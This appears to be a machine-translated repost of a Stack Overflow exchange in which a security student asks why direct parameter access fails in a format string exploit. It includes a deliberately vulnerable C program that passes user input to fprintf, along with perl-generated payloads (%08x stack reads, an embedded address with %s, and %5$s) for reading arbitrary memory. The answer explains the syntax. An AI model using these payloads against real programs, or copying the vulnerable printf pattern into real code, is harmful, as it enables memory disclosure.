[英]Direct Parameter Access not working, using printf in C
我正在做一些計算機安全性研究,並且試圖了解有關字符串格式的漏洞。 我正在運行一個包含以下代碼的程序:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
當我向程序輸入參數“%08x。%08x。%08x。%08x。%08x”(將其讀入“數據”變量)時,我得到的輸出是:00000020.b7fd7560.08048b09.00000019.78383025
我知道每個十六進制數字都會從堆棧中彈出,並且“ 78383025”來自緩沖區本身。 所以有4個字--16個字節-在到達緩沖區的開頭之前,我必須彈出。
當我給參數`perl -e 'print "\\x2a\\xf9\\xff\\xbf%08x.%08x.%08x.%08x_%s_";'`
,%s部分將打印位於內存地址0xbffff92a的字符串。
現在,我想使用直接參數訪問來執行此操作。 如果我在程序中輸入參數`perl -e 'print "\\x2a\\xf9\\xff\\xbf%16$s";'`
,我應該期望程序執行與上述相同的操作。 但是所有程序打印的內容都是緩沖區開頭的四個字符。 那么,什么給了??? 我是否為DPA使用了錯誤的語法??? 我正在使用32位的Ubuntu 9.04。
這是一些可編譯的代碼,盡管不能保證產生相同的結果:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
%16$s
引用格式字符串后的第16個參數,並告訴printf
將其解釋為char*
並將其顯示為字符串。
您似乎正在使用它作為在獲取字符串之前跳過16個字節的方法,但這並不完全相同。
由於您需要第5個參數,因此請嘗試使用類似以下格式的字符串:
"\x2a\xf9\xff\xbf%5$s"
由於您正在使用perl -e 'print "...";'
要傳遞數據,您必須轉義$
字符。 IE瀏覽器。 :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.